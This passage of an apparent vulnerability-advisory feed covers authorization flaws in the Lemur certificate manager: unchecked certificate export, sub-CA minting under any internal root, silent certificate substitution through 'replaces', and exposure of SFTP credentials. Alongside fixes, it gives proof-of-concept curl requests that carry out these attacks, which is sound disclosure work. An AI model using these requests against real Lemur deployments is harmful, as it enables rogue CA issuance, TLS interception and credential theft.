            owner_role = role_service.get_by_name(cert.owner)
            permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
            if not permission.can():
                return (..., 403)
 
log_service.create(g.current_user, "key_view", certificate=cert)   # always logged
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)
```
 
The authorization gate is structurally inside the `if plugin.requires_key:` block. With `requires_key = False`, control falls straight through to `plugin.export(...)` with no ownership check. The `cert.private_key` is passed to the plugin regardless of the flag — the flag only describes what the plugin *advertises* it needs, not what it actually receives.
 
The only currently shipping `ExportPlugin` with `requires_key = False` is `JavaTruststoreExportPlugin` (`lemur/plugins/lemur_jks/plugin.py`), whose `export()` ignores the `key` argument and emits a public-only Java truststore. The present-day data exposure is therefore limited to public certificate material. The bug is nonetheless filed as a real authorization gap because:
 
1. The structural defect is latent and silent - any future `requires_key = False` `ExportPlugin` that *does* read `cert.private_key` will inherit the bypass with no test or code-review signal.
2. The unconditional `log_service.create(..., "key_view", ...)` call falsely records key-view events for callers who never viewed a key, weakening incident-response signal.
 
## Affected Endpoints
 
| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/`&lt;id&gt;`/export | lemur/certificates/views.py:1573 |
 
## Impact
 
In the current codebase:
 
- Any authenticated user can mint a Java truststore (`java-truststore-jks` plugin) containing any certificate's public body and chain, without owning the certificate or holding a role with permission over it.
- The audit log records a `key_view` event for the calling user against that certificate, despite no private key having been accessed. Defenders investigating apparent key-view events will encounter false positives that they cannot distinguish from genuine accesses.
 
Latent risk:
 
- A future `ExportPlugin` author who sets `requires_key = False` because their plugin can *operate* without a key (e.g., for a fall-back code path) but still uses the key when one is provided will silently leak private keys to any authenticated user. The same code review that approves the plugin will not flag this — the authorization invariant is held by a structurally distant `if`-branch in the view, not by the plugin itself.
 
## Remediation
 
Lift the authorization check out of the `if plugin.requires_key:` block so it runs for every export call:
 
```python
# Authorization first, unconditionally.
if g.current_user != cert.user:
    owner_role = role_service.get_by_name(cert.owner)
    permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
    if not permission.can():
        return (dict(message="You are not authorized to export this certificate."), 403)
 
if plugin.requires_key:
    if not cert.private_key:
        return (dict(message="Plugin requires a key but none is present."), 400)
    log_service.create(g.current_user, "key_view", certificate=cert)   # only when key actually accessed
 
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)
```
 
This makes the authorization gate independent of the plugin's `requires_key` flag and correctly scopes the `key_view` audit event to calls that actually involve key access.
 
## Steps to Reproduce
 
1. Set up Lemur with default configuration. Create an admin user `admin` and a non-admin user `eve` with the `read-only` role (or any role without certificate permissions).
 
2. As `admin`, issue a certificate. Note its `id`.
 
3. As `eve`, invoke export with the `java-truststore-jks` plugin:
````
   curl -X POST https://lemur.local/api/1/certificates/&lt;cert_id&gt;/export \
        -H "Authorization: Bearer &lt;eve_jwt&gt;" \
        -H "Content-Type: application/json" \
        -d '{
              "plugin": {
                "slug": "java-truststore-jks",
                "plugin_options": [
                  {"name": "passphrase", "value": "test"}
                ]
              }
            }'
````
 
4. Observe HTTP 200 with a base64-encoded JKS truststore in the response. `eve` had no permission over `admin`'s certificate, yet successfully exported its public material.
 
5. Inspect the audit log table or `lemur logs list`:
````
   psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs
                  WHERE certificate_id = &lt;cert_id&gt; ORDER BY logged_at DESC LIMIT 1;"
````
   The log row shows `log_type = 'key_view'` for `eve` against `admin`'s certificate, despite no private key actually being accessed by the truststore plugin - confirming the audit-log pollution facet of the bug.</summary>
    <published>2026-08-19T11:56:28.566866+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3677</id>
    <title>pysec-2026-3677</title>
    <updated>2026-08-19T12:16:27.512565+00:00</updated>
    <content>## Summary

Repo under test: https://github.com/Netflix/lemur

When `ADMIN_ONLY_AUTHORITY_CREATION=False` (an explicitly supported and documented configuration), `POST /api/1/authorities` with `type=subca` never verifies that the caller holds `AuthorityPermission` on the supplied `parent` authority. The `parent` field is resolved by `AssociatedAuthoritySchema` via a raw `fetch_objects(Authority, data)` lookup, then passed straight through `service.create → mint → cryptography-issuer.create_authority`, which loads `options["parent"].authority_certificate.private_key` and signs a brand-new intermediate CA on the caller's behalf.

Any authenticated non-read-only user can therefore mint a sub-CA chained to any internal root whose private key Lemur holds — including roots they hold no role on — attach a role they already belong to, and immediately issue or offline-sign trusted leaf certificates for arbitrary names.

## Affected route

`POST /api/1/authorities` (with `type=subca`)

## Affected code

- [`lemur/authorities/views.py:231`](https://github.com/Netflix/lemur/blob/main/lemur/authorities/views.py#L231) — gates only on `AuthorityCreatorPermission()` + `StrictRolePermission()`; no `AuthorityPermission` on `data['parent']`
- [`lemur/authorities/schemas.py:58`](https://github.com/Netflix/lemur/blob/main/lemur/authorities/schemas.py#L58) — `parent = fields.Nested(AssociatedAuthoritySchema)`; `validate_subca` only checks presence
- [`lemur/schemas.py:107`](https://github.com/Netflix/lemur/blob/main/lemur/schemas.py#L107) — `AssociatedAuthoritySchema.get_object` → `fetch_objects(Authority, data)` resolves any authority by id/name with no permission check
- [`lemur/plugins/lemur_cryptography/plugin.py:40`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_cryptography/plugin.py#L40) — `private_key = options["authority"].authority_certificate.private_key` (set from `options["parent"]`) signs the new intermediate
- [`lemur/auth/permissions.py:62`](https://github.com/Netflix/lemur/blob/main/lemur/auth/permissions.py#L62) — `AuthorityCreatorPermission` becomes always-allow when `ADMIN_ONLY_AUTHORITY_CREATION=False`
- [`lemur/certificates/views.py:538`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L538) — `is_private_authority` (true for `cryptography-issuer`) skips `USER_DOMAIN_AUTHORIZATION_PROVIDER` for subsequent leaf issuance

## Impact

In deployments that set `ADMIN_ONLY_AUTHORITY_CREATION=False` to enable self-service CA creation, any authenticated non-read-only user — with zero permission on a given internal root CA — can obtain a working intermediate CA chained to that root. They can then:

- Issue TLS certificates for arbitrary names trusted by every relying party that trusts the internal root, bypassing `LEMUR_ALLOWED_DOMAINS`, sensitive-domain flags, and the per-user domain-authorization plugin.
- Export the sub-CA private key and sign end-entity certificates entirely outside Lemur, defeating all in-product issuance controls.

This converts "can create a self-contained test CA" into "can mint trusted certs under any internal PKI root in the organisation". The `ADMIN_ONLY_AUTHORITY_CREATION` documentation does not warn operators of this consequence.

## Root cause

`AuthoritiesList.post` evaluates `AuthorityCreatorPermission` (a global "may create authorities" flag) and `StrictRolePermission`, but never evaluates `AuthorityPermission(parent.id, parent.roles)` against the caller-supplied `parent`. `AssociatedAuthoritySchema` is a pure lookup schema with no authz hook, and neither `authorities.service.create` nor `mint` re-check before invoking `issuer_plugin.create_authority(options)`. The bundled `cryptography-issuer` then uses the parent's stored private key directly.

## Validated evidence

Static trace, confirmed by code inspection (validation status: `CONFIRMED`):

- `parent` is loaded via `AssociatedAuthoritySchema` (raw `fetch_objects`), passed unchecked through `views.post → service.create → mint → plugin.create_authority → issue_certificate`, where the parent authority's stored private key is read and used to sign the new intermediate.
- No call to `AuthorityPermission(parent.id, ...)` exists anywhere on this path.
- Precondition `ADMIN_ONLY_AUTHORITY_CREATION=False` is an explicitly supported config ([`docs/administration.rst:517`](https://github.com/Netflix/lemur/blob/main/docs/administration.rst#L517)).

## Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: `ADMIN_ONLY_AUTHORITY_CREATION=False`; attacker is an authenticated Lemur user holding any role other than `read-only`; `&lt;PARENT_AUTHORITY_ID&gt;` is any internal `cryptography-issuer` root CA the attacker holds no role on; `&lt;ATTACKER_ROLE&gt;` is any role the attacker already belongs to.

```bash
curl -sS -X POST "&lt;TARGET_BASE_URL&gt;/api/1/authorities" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-subca",
        "owner": "attacker@example.com",
        "description": "poc",
        "type": "subca",
        "parent": {"id": &lt;PARENT_AUTHORITY_ID&gt;},
        "plugin": {"slug": "cryptography-issuer"},
        "roles": [{"name": "&lt;ATTACKER_ROLE&gt;"}],
        "commonName": "attacker-intermediate",
        "validityYears": 1
      }'
```

The response contains a new authority whose `authority_certificate` is signed by `&lt;PARENT_AUTHORITY_ID&gt;`'s private key. The caller is recorded as creator and holds `&lt;ATTACKER_ROLE&gt;` on it, so `POST /api/1/certificates` against the new authority succeeds (and skips `allowed_issuance_for_domain` because `is_private_authority` is true).

Static-trace validation command from the source report:

```bash
grep -n 'parent' lemur/authorities/schemas.py lemur/authorities/views.py lemur/authorities/service.py \
  &amp;&amp; sed -n '37,55p' lemur/plugins/lemur_cryptography/plugin.py
```

Source artifact: `audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl` (run_022, finding cluster `lemur-subca-parent-authz`, 5/100 runs).

## Suggested fix

In `AuthoritiesList.post` (or `authorities.service.create`), when `data.get('parent')` is present, enforce `AuthorityPermission(parent.id, [r.name for r in parent.roles]).can()` before invoking the issuer plugin, regardless of `ADMIN_ONLY_AUTHORITY_CREATION`. Additionally, update the `ADMIN_ONLY_AUTHORITY_CREATION` documentation to state that disabling it currently grants every authenticated user the ability to chain sub-CAs off any internal root whose private key Lemur holds. Consider also requiring admin (or an explicit per-parent capability) for any `type=subca` creation independent of the global flag.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3677"/>
    <summary>## Summary

Repo under test: https://github.com/Netflix/lemur

When `ADMIN_ONLY_AUTHORITY_CREATION=False` (an explicitly supported and documented configuration), `POST /api/1/authorities` with `type=subca` never verifies that the caller holds `AuthorityPermission` on the supplied `parent` authority. The `parent` field is resolved by `AssociatedAuthoritySchema` via a raw `fetch_objects(Authority, data)` lookup, then passed straight through `service.create → mint → cryptography-issuer.create_authority`, which loads `options["parent"].authority_certificate.private_key` and signs a brand-new intermediate CA on the caller's behalf.

Any authenticated non-read-only user can therefore mint a sub-CA chained to any internal root whose private key Lemur holds — including roots they hold no role on — attach a role they already belong to, and immediately issue or offline-sign trusted leaf certificates for arbitrary names.

## Affected route

`POST /api/1/authorities` (with `type=subca`)

## Affected code

- [`lemur/authorities/views.py:231`](https://github.com/Netflix/lemur/blob/main/lemur/authorities/views.py#L231) — gates only on `AuthorityCreatorPermission()` + `StrictRolePermission()`; no `AuthorityPermission` on `data['parent']`
- [`lemur/authorities/schemas.py:58`](https://github.com/Netflix/lemur/blob/main/lemur/authorities/schemas.py#L58) — `parent = fields.Nested(AssociatedAuthoritySchema)`; `validate_subca` only checks presence
- [`lemur/schemas.py:107`](https://github.com/Netflix/lemur/blob/main/lemur/schemas.py#L107) — `AssociatedAuthoritySchema.get_object` → `fetch_objects(Authority, data)` resolves any authority by id/name with no permission check
- [`lemur/plugins/lemur_cryptography/plugin.py:40`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_cryptography/plugin.py#L40) — `private_key = options["authority"].authority_certificate.private_key` (set from `options["parent"]`) signs the new intermediate
- [`lemur/auth/permissions.py:62`](https://github.com/Netflix/lemur/blob/main/lemur/auth/permissions.py#L62) — `AuthorityCreatorPermission` becomes always-allow when `ADMIN_ONLY_AUTHORITY_CREATION=False`
- [`lemur/certificates/views.py:538`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L538) — `is_private_authority` (true for `cryptography-issuer`) skips `USER_DOMAIN_AUTHORIZATION_PROVIDER` for subsequent leaf issuance

## Impact

In deployments that set `ADMIN_ONLY_AUTHORITY_CREATION=False` to enable self-service CA creation, any authenticated non-read-only user — with zero permission on a given internal root CA — can obtain a working intermediate CA chained to that root. They can then:

- Issue TLS certificates for arbitrary names trusted by every relying party that trusts the internal root, bypassing `LEMUR_ALLOWED_DOMAINS`, sensitive-domain flags, and the per-user domain-authorization plugin.
- Export the sub-CA private key and sign end-entity certificates entirely outside Lemur, defeating all in-product issuance controls.

This converts "can create a self-contained test CA" into "can mint trusted certs under any internal PKI root in the organisation". The `ADMIN_ONLY_AUTHORITY_CREATION` documentation does not warn operators of this consequence.

## Root cause

`AuthoritiesList.post` evaluates `AuthorityCreatorPermission` (a global "may create authorities" flag) and `StrictRolePermission`, but never evaluates `AuthorityPermission(parent.id, parent.roles)` against the caller-supplied `parent`. `AssociatedAuthoritySchema` is a pure lookup schema with no authz hook, and neither `authorities.service.create` nor `mint` re-check before invoking `issuer_plugin.create_authority(options)`. The bundled `cryptography-issuer` then uses the parent's stored private key directly.

## Validated evidence

Static trace, confirmed by code inspection (validation status: `CONFIRMED`):

- `parent` is loaded via `AssociatedAuthoritySchema` (raw `fetch_objects`), passed unchecked through `views.post → service.create → mint → plugin.create_authority → issue_certificate`, where the parent authority's stored private key is read and used to sign the new intermediate.
- No call to `AuthorityPermission(parent.id, ...)` exists anywhere on this path.
- Precondition `ADMIN_ONLY_AUTHORITY_CREATION=False` is an explicitly supported config ([`docs/administration.rst:517`](https://github.com/Netflix/lemur/blob/main/docs/administration.rst#L517)).

## Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: `ADMIN_ONLY_AUTHORITY_CREATION=False`; attacker is an authenticated Lemur user holding any role other than `read-only`; `&lt;PARENT_AUTHORITY_ID&gt;` is any internal `cryptography-issuer` root CA the attacker holds no role on; `&lt;ATTACKER_ROLE&gt;` is any role the attacker already belongs to.

```bash
curl -sS -X POST "&lt;TARGET_BASE_URL&gt;/api/1/authorities" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-subca",
        "owner": "attacker@example.com",
        "description": "poc",
        "type": "subca",
        "parent": {"id": &lt;PARENT_AUTHORITY_ID&gt;},
        "plugin": {"slug": "cryptography-issuer"},
        "roles": [{"name": "&lt;ATTACKER_ROLE&gt;"}],
        "commonName": "attacker-intermediate",
        "validityYears": 1
      }'
```

The response contains a new authority whose `authority_certificate` is signed by `&lt;PARENT_AUTHORITY_ID&gt;`'s private key. The caller is recorded as creator and holds `&lt;ATTACKER_ROLE&gt;` on it, so `POST /api/1/certificates` against the new authority succeeds (and skips `allowed_issuance_for_domain` because `is_private_authority` is true).

Static-trace validation command from the source report:

```bash
grep -n 'parent' lemur/authorities/schemas.py lemur/authorities/views.py lemur/authorities/service.py \
  &amp;&amp; sed -n '37,55p' lemur/plugins/lemur_cryptography/plugin.py
```

Source artifact: `audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl` (run_022, finding cluster `lemur-subca-parent-authz`, 5/100 runs).

## Suggested fix

In `AuthoritiesList.post` (or `authorities.service.create`), when `data.get('parent')` is present, enforce `AuthorityPermission(parent.id, [r.name for r in parent.roles]).can()` before invoking the issuer plugin, regardless of `ADMIN_ONLY_AUTHORITY_CREATION`. Additionally, update the `ADMIN_ONLY_AUTHORITY_CREATION` documentation to state that disabling it currently grants every authenticated user the ability to chain sub-CAs off any internal root whose private key Lemur holds. Consider also requiring admin (or an explicit per-parent capability) for any `type=subca` creation independent of the global flag.</summary>
    <published>2026-08-19T11:56:28.516318+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3675</id>
    <title>pysec-2026-3675</title>
    <updated>2026-08-19T12:16:27.385205+00:00</updated>
    <content>## Summary

Repo under test: https://github.com/Netflix/lemur

The certificate create and upload endpoints accept a `replaces[]` (alias `replacements`) array that is resolved to live `Certificate` ORM objects with no ownership or `CertificatePermission` check on the referenced certificates. The SQLAlchemy `Certificate.replaces` append listener then immediately sets `victim.notify = False` and populates `victim.replaced`. From that point the victim certificate is excluded from auto-reissue, its expiration notifications are silenced, and the periodic `certificate_rotate` Celery task deploys the attacker's certificate (`endpoint.certificate.replaced[0]`) onto every endpoint serving the victim certificate.

Any authenticated non-read-only user can therefore silently substitute their own certificate onto production load balancers and Kubernetes secrets they hold no role on, while suppressing the legitimate certificate's lifecycle automation.

## Affected route

`POST /api/1/certificates`
`POST /api/1/certificates/upload`
`PUT /api/1/certificates/&lt;id&gt;`

## Affected code

- [`lemur/certificates/schemas.py:402`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/schemas.py#L402) — `replaces = fields.Nested(AssociatedCertificateSchema, missing=[], many=True)` accepted on create/upload/edit
- [`lemur/schemas.py:152`](https://github.com/Netflix/lemur/blob/main/lemur/schemas.py#L152) — `AssociatedCertificateSchema` resolves any certificate by id/name via `fetch_objects(Certificate, data)` with no permission check
- [`lemur/certificates/views.py:651`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L651) — only `StrictRolePermission().can()` gates `/certificates/upload`; no check on `data['replaces']`
- [`lemur/certificates/models.py:506`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/models.py#L506) — `@event.listens_for(Certificate.replaces, 'append')` sets `value.notify = False` on the victim
- [`lemur/certificates/service.py:277`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/service.py#L277) — `get_all_pending_reissue()` filters `not_(Certificate.replaced.any())`, excluding the victim
- [`lemur/certificates/cli.py:347`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/cli.py#L347) — `request_rotation(endpoint, endpoint.certificate.replaced[0], message, commit)` deploys the attacker cert
- [`lemur/common/celery.py:638`](https://github.com/Netflix/lemur/blob/main/lemur/common/celery.py#L638) — periodic `certificate_rotate` task runs `cli_certificate.rotate(..., commit=True)`
- [`lemur/deployment/service.py:17`](https://github.com/Netflix/lemur/blob/main/lemur/deployment/service.py#L17) — `endpoint.source.plugin.update_endpoint(endpoint, new_cert)` pushes to ELB/CloudFront/ACM/K8s

## Impact

An authenticated insider or holder of a stolen low-privilege token can, without holding any role on a target certificate:

1. Upload a self-signed or attacker-minted certificate listing arbitrary high-value production certificate IDs in `replaces`.
2. Immediately disable expiration notifications and auto-reissue for those production certificates.
3. On the next scheduled `certificate_rotate` Celery run, have the attacker's certificate pushed to every endpoint (AWS ELB/CloudFront/ACM, Kubernetes, SFTP, etc.) currently serving the victim certificate, while the legitimate certificate is detached.

Minimum impact is fleet-wide TLS denial of service equivalent to mass revocation. Where internal clients trust the substituted chain (or combined with the sub-CA finding LEMUR-BUG-07), it escalates to TLS interception. This directly violates the invariant that a user may only modify or revoke a certificate if they are its owner, a member of an owning role, or an administrator.

## Root cause

`AssociatedCertificateSchema.get_object` calls `fetch_objects(Certificate, data)` and returns the ORM rows verbatim. No caller on the create/upload/edit path iterates the resolved `replaces` list to enforce `CertificatePermission` before the model assigns them, and the `Certificate.replaces` append event listener mutates the victim row (`notify = False`) as a side effect of ORM collection assignment. The direct revoke endpoint *does* enforce `CertificatePermission`, but this `replaces` path achieves an equivalent or worse outcome while bypassing it entirely.

## Validated evidence

Static trace, confirmed by code inspection (validation status: `CONFIRMED`):

- `replaces` is accepted in `CertificateInputSchema` / `CertificateUploadInputSchema` and resolved via `fetch_objects(Certificate, ...)` with no per-object authorization.
- `grep -n CertificatePermission lemur/certificates/views.py` shows the check is applied to `PUT`/`DELETE`/`revoke`/`export` paths but never to the `replaces` payload of `POST /certificates` or `POST /certificates/upload`.
- The Celery `certificate_rotate` task and `cli.rotate()` consume `Endpoint.replaced.any()` unconditionally and deploy `replaced[0]` with `commit=True`.

## Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: attacker is an authenticated Lemur user holding any role other than `read-only` (default `StrictRolePermission` config). `&lt;VICTIM_CERT_ID&gt;` is any certificate id readable via `GET /api/1/certificates`.

```bash
# 1. Upload an attacker-controlled cert that "replaces" the victim
curl -sS -X POST "&lt;TARGET_BASE_URL&gt;/api/1/certificates/upload" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-replacement",
        "owner": "attacker@example.com",
        "body": "-----BEGIN CERTIFICATE-----\n&lt;ATTACKER_CERT_PEM&gt;\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\n&lt;ATTACKER_KEY_PEM&gt;\n-----END PRIVATE KEY-----",
        "replaces": [{"id": &lt;VICTIM_CERT_ID&gt;}]
      }'

# 2. Observe victim.notify is now false and victim is queued for rotation
curl -sS "&lt;TARGET_BASE_URL&gt;/api/1/certificates/&lt;VICTIM_CERT_ID&gt;" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" | jq '.notify, .replaced'

# 3. On the next certificate_rotate Celery beat tick, the attacker cert is
#    deployed to every endpoint that was serving &lt;VICTIM_CERT_ID&gt;.
```

Static-trace validation command from the source report:

```bash
grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py \
  &amp;&amp; grep -n 'CertificatePermission' lemur/certificates/views.py
```

Source artifact: `audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl` (run_083, finding cluster `lemur-replaces-unauth`, 7/100 runs).

## Suggested fix

Before persisting `replaces`/`replacements` on certificate create, upload, and edit, iterate each referenced certificate and enforce the same `CertificatePermission(owner_role, cert.roles)` check used by the revoke endpoint ([`views.py:1677-1685`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L1677)); reject with 403 if the caller is not creator/owner/role-member/admin for any target. Additionally, move the `value.notify = False` side effect out of the SQLAlchemy append listener so an authorization failure cannot leave a victim certificate partially mutated, and emit an `audit_log` entry whenever a certificate is marked as replaced.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3675"/>
    <summary>## Summary

Repo under test: https://github.com/Netflix/lemur

The certificate create and upload endpoints accept a `replaces[]` (alias `replacements`) array that is resolved to live `Certificate` ORM objects with no ownership or `CertificatePermission` check on the referenced certificates. The SQLAlchemy `Certificate.replaces` append listener then immediately sets `victim.notify = False` and populates `victim.replaced`. From that point the victim certificate is excluded from auto-reissue, its expiration notifications are silenced, and the periodic `certificate_rotate` Celery task deploys the attacker's certificate (`endpoint.certificate.replaced[0]`) onto every endpoint serving the victim certificate.

Any authenticated non-read-only user can therefore silently substitute their own certificate onto production load balancers and Kubernetes secrets they hold no role on, while suppressing the legitimate certificate's lifecycle automation.

## Affected route

`POST /api/1/certificates`
`POST /api/1/certificates/upload`
`PUT /api/1/certificates/&lt;id&gt;`

## Affected code

- [`lemur/certificates/schemas.py:402`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/schemas.py#L402) — `replaces = fields.Nested(AssociatedCertificateSchema, missing=[], many=True)` accepted on create/upload/edit
- [`lemur/schemas.py:152`](https://github.com/Netflix/lemur/blob/main/lemur/schemas.py#L152) — `AssociatedCertificateSchema` resolves any certificate by id/name via `fetch_objects(Certificate, data)` with no permission check
- [`lemur/certificates/views.py:651`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L651) — only `StrictRolePermission().can()` gates `/certificates/upload`; no check on `data['replaces']`
- [`lemur/certificates/models.py:506`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/models.py#L506) — `@event.listens_for(Certificate.replaces, 'append')` sets `value.notify = False` on the victim
- [`lemur/certificates/service.py:277`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/service.py#L277) — `get_all_pending_reissue()` filters `not_(Certificate.replaced.any())`, excluding the victim
- [`lemur/certificates/cli.py:347`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/cli.py#L347) — `request_rotation(endpoint, endpoint.certificate.replaced[0], message, commit)` deploys the attacker cert
- [`lemur/common/celery.py:638`](https://github.com/Netflix/lemur/blob/main/lemur/common/celery.py#L638) — periodic `certificate_rotate` task runs `cli_certificate.rotate(..., commit=True)`
- [`lemur/deployment/service.py:17`](https://github.com/Netflix/lemur/blob/main/lemur/deployment/service.py#L17) — `endpoint.source.plugin.update_endpoint(endpoint, new_cert)` pushes to ELB/CloudFront/ACM/K8s

## Impact

An authenticated insider or holder of a stolen low-privilege token can, without holding any role on a target certificate:

1. Upload a self-signed or attacker-minted certificate listing arbitrary high-value production certificate IDs in `replaces`.
2. Immediately disable expiration notifications and auto-reissue for those production certificates.
3. On the next scheduled `certificate_rotate` Celery run, have the attacker's certificate pushed to every endpoint (AWS ELB/CloudFront/ACM, Kubernetes, SFTP, etc.) currently serving the victim certificate, while the legitimate certificate is detached.

Minimum impact is fleet-wide TLS denial of service equivalent to mass revocation. Where internal clients trust the substituted chain (or combined with the sub-CA finding LEMUR-BUG-07), it escalates to TLS interception. This directly violates the invariant that a user may only modify or revoke a certificate if they are its owner, a member of an owning role, or an administrator.

## Root cause

`AssociatedCertificateSchema.get_object` calls `fetch_objects(Certificate, data)` and returns the ORM rows verbatim. No caller on the create/upload/edit path iterates the resolved `replaces` list to enforce `CertificatePermission` before the model assigns them, and the `Certificate.replaces` append event listener mutates the victim row (`notify = False`) as a side effect of ORM collection assignment. The direct revoke endpoint *does* enforce `CertificatePermission`, but this `replaces` path achieves an equivalent or worse outcome while bypassing it entirely.

## Validated evidence

Static trace, confirmed by code inspection (validation status: `CONFIRMED`):

- `replaces` is accepted in `CertificateInputSchema` / `CertificateUploadInputSchema` and resolved via `fetch_objects(Certificate, ...)` with no per-object authorization.
- `grep -n CertificatePermission lemur/certificates/views.py` shows the check is applied to `PUT`/`DELETE`/`revoke`/`export` paths but never to the `replaces` payload of `POST /certificates` or `POST /certificates/upload`.
- The Celery `certificate_rotate` task and `cli.rotate()` consume `Endpoint.replaced.any()` unconditionally and deploy `replaced[0]` with `commit=True`.

## Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: attacker is an authenticated Lemur user holding any role other than `read-only` (default `StrictRolePermission` config). `&lt;VICTIM_CERT_ID&gt;` is any certificate id readable via `GET /api/1/certificates`.

```bash
# 1. Upload an attacker-controlled cert that "replaces" the victim
curl -sS -X POST "&lt;TARGET_BASE_URL&gt;/api/1/certificates/upload" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-replacement",
        "owner": "attacker@example.com",
        "body": "-----BEGIN CERTIFICATE-----\n&lt;ATTACKER_CERT_PEM&gt;\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\n&lt;ATTACKER_KEY_PEM&gt;\n-----END PRIVATE KEY-----",
        "replaces": [{"id": &lt;VICTIM_CERT_ID&gt;}]
      }'

# 2. Observe victim.notify is now false and victim is queued for rotation
curl -sS "&lt;TARGET_BASE_URL&gt;/api/1/certificates/&lt;VICTIM_CERT_ID&gt;" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" | jq '.notify, .replaced'

# 3. On the next certificate_rotate Celery beat tick, the attacker cert is
#    deployed to every endpoint that was serving &lt;VICTIM_CERT_ID&gt;.
```

Static-trace validation command from the source report:

```bash
grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py \
  &amp;&amp; grep -n 'CertificatePermission' lemur/certificates/views.py
```

Source artifact: `audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl` (run_083, finding cluster `lemur-replaces-unauth`, 7/100 runs).

## Suggested fix

Before persisting `replaces`/`replacements` on certificate create, upload, and edit, iterate each referenced certificate and enforce the same `CertificatePermission(owner_role, cert.roles)` check used by the revoke endpoint ([`views.py:1677-1685`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L1677)); reject with 403 if the caller is not creator/owner/role-member/admin for any target. Additionally, move the `value.notify = False` side effect out of the SQLAlchemy append listener so an authorization failure cannot leave a victim certificate partially mutated, and emit an `audit_log` entry whenever a certificate is marked as replaced.</summary>
    <published>2026-08-19T11:56:28.471176+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3674</id>
    <title>pysec-2026-3674</title>
    <updated>2026-08-19T12:16:27.319532+00:00</updated>
    <content>### Summary
Lemur's destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/&lt;id&gt;` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users.

The built-in SFTP destination plugin (`sftp-destination`) stores its `password` and `privateKeyPass` options in cleartext in the `destinations.options` column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because `DestinationOutputSchema` serializes every option value verbatim, any authenticated principal -- including a `read-only` user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.


### Details
Read endpoints lack the authorization that their write siblings enforce:

`lemur/destinations/views.py`
```python
class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # &lt;-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # &lt;-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...
```

The output schema emits all option values, including secret ones:

`lemur/destinations/schemas.py`
```python
class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
